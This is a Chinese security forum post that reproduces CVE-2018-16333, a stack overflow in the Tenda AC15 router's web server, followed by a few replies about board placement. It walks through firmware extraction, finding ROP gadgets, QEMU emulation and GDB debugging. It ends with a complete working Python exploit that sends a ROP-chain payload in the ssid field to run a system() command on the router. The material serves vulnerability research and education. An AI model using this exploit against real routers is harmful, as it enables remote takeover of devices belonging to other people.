首页
社区
课程
招聘
[分享]Tenda AC15 路由器栈溢出漏洞复现(CVE-2018-16333)
发表于: 2022-10-13 20:50 25579

[分享]Tenda AC15 路由器栈溢出漏洞复现(CVE-2018-16333)

2022-10-13 20:50
25579

Tenda AC15 栈溢出漏洞(CVE-2018-16333)

漏洞的原因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。
固件版本:US_AC15V1.0BR_V15.03.05.19_multi_TD01

 

漏洞分析

 

binwalk解压固件

 

漏洞存在在解压出的./squashfs-root/bin目录下httpd文件中,arm小端,开了NX

 

 

ida打开,根据ssid字符串定位到form_fast_setting_wifi_set函数。

 

 

程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。
其中:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。
为了将src指针覆盖为有效地址,并且不影响第一次的strcpy,选择在libc中选择一个可读地址覆盖src指针。

 

1
2
3
4
5
$ ROPgadget --binary ./libc.so.0 --only "pop" | grep r3
0x00018298 : pop {r3, pc}     #gadget1
 
$ ROPgadget --binary ./libc.so.0 --only "mov|blx"
0x00040cb8 : mov r0, sp ; blx r3  #gadget2

利用过程:

 

1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2
2、跳转到gadget2后,控制r0为要执行的命令即可
3、执行system(cmd)

 

qemu用户级调试

1
2
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd

 

根据字符串定位到程序,发现程序要check网络,用ida将返回值patch为1

 

 

 

 

替换原来的httpd,chmod +x 重新启动, 报错

 

 

同理根据字符串定位到程序,将函数返回值patch为1

 

 

发现获取的ip地址不对

 

查阅资料得程序是从名为br0得网卡获取地址,在本机建立虚拟网桥br0并重新执行程序

1
2
3
4
5
6
7
8
9
# 安装配置网络的工具
apt-get install bridge-utils
apt-get install uml-utilities
 
sudo brctl addbr br0      # 添加一座名为 br0 的网桥
sudo brctl addif br0 eth0   # 在 br0 中添加一个接口
sudo ifconfig br0 up      # 启用 br0 接口
sudo dhclient br0         # 从 dhcp 服务器获得 br0 的 IP 地址
sudo chroot ./ ./qemu-arm-static ./bin/httpd

可以看到获取到的已经是本机的ip地址,程序正常运行

 

在函数返回之前,下面代码会导致函数卡住,直接patch if判断条件为假即可

 

qemu系统级调试

 

为了方便调试,我们用qemu系统级来模拟程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
主机
sudo tunctl -t tap0             # 创建一个 tap0 接口
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 up      # 启用 tap0 接口
sudo ifconfig tap0 192.168.0.100/24  #为tap0分配ip地址
 
 
qemu
#启动
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
 
user:root
password:root
 
#配置qemu虚拟机网络
ifconfig eth0 192.168.0.76/24
ifconfig
 
#在主机中将调试好的程序发送至qemu虚拟机
scp -r ./squashfs-root root@192.168.0.100:/root
 
#qemu中运行
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
brctl addbr br0    #添加br0虚拟网卡
ifconfig br0 192.168.0.76/24 up
 
#关掉地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
 
./bin/httpd
 
 
#如果网络不同的话,重启br0和tap0
ifconfig eth0 down
ifconfig br0 down
brctl stp br0 on
brctl setfd br0 2
brctl sethello br0 1
ifconfig br0 0.0.0.0 promisc up
ifconfig eth0 0.0.0.0 promisc up
dhclient br0
ifconfig tap0 down
ifconfig tap0 0.0.0.0 promisc up
ifconfig tap0 192.168.0.100/24 up
 
虚拟机ping通主机就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
##将程序调入后台运行
ctrl z
bg
 
##gdbserver开调试端口
# ps | grep httpd
 4075 0          0:05 /bin/httpd
 
# ./gdbserver :12345 --attach 4075
Attached; pid = 4075
Listening on port 12345
ctrl z
bg
fg %1
 
#主机用gdb-multiarch调试
gdb-multiarch ./bin/httpd
set architecture arm
set endian little
target remote 192.168.0.76:12345
b *0x0006707C  #在strcpy打断点

用exp发送数据包,gdb输入c继续运行,断在第一处strcpy函数处

 


由图中可以算出目标地址距返回地址的长度为0x7efffa54-0x7efff9d8=0x7c
继续运行程序,到第二个strcpy处


第二处strcpy又对src进行读取,由调试中也可以看到,src在栈上距离栈底长度为28处。即0x1c。构造exp时需要在0x7c-0x1C=0x60后加入一个可读字段的地址

 

所以构造exp:
payload = b'a'(0x60) + p32(readable_addr) + b'b'(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

 

在返回地址处打断点 b *0x00067758,可以看到栈上返回地址已经被劫持成我们构造的ROP链

 

继续运行,可以看到命令成功执行

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from pwn import *
 
cmd=b"echo hello"
 
 
'''
qemu-system
'''
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
 
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
 
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
 
 
url = "http://192.168.2.2/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-10-13 21:04 被五两编辑 ,原因:
收藏
免费 6
支持
分享
最新回复 (3)
雪    币: 21218
活跃值: (6161)
能力值: (RANK:445 )
在线值:
发帖
回帖
粉丝
2
这还不发到智能设备版块来?
2022-10-13 22:01
0
雪    币: 222
活跃值: (388)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
胡一米 这还不发到智能设备版块来?
第一次发帖,不太清楚分类
2022-10-13 22:31
0
雪    币: 14323
活跃值: (16682)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
4
胡一米 这还不发到智能设备版块来?
已经给转到智能设备板块了~
2022-10-14 10:43
0
游客
登录 | 注册 方可回帖
返回
//